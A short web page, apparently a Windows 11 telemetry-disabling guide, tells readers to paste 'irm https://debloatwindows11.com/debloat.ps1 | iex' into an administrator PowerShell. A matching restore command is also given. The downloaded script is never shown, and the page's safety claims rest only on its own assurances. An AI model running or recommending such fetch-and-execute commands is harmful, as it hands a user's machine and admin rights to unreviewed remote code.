How to Disable Diagnostic Telemetry & Spying in Windows 11
By default, Windows 11 transmits detailed app usage telemetry, device diagnostics, and typing habits to Microsoft cloud servers. Learn how to disable telemetry cleanly with zero side-effects.
irm https://debloatwindows11.com/debloat.ps1 | iex
How to Disable Diagnostic Telemetry & Spying in Windows 11 — Step-by-Step
Right-click the Start button or press Win + X, then select 'Terminal (Admin)' or 'PowerShell (Admin)'.
Paste the command into the PowerShell window and press Enter. The script applies official registry policies safely.
Windows Explorer restarts automatically within seconds, instantly applying your clean privacy and speed settings.
Registry Target
HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection
irm https://debloatwindows11.com/restore.ps1 | iex
Frequently Asked Questions
Will disabling telemetry prevent Windows Update from installing?
No. Windows Update uses separate WSUS/CDN endpoints. Security patches and updates install normally.
Does this turn off the DiagTrack background service?
Yes. Our script disables the Connected User Experiences and Telemetry service (DiagTrack) and sets AllowTelemetry to 0.
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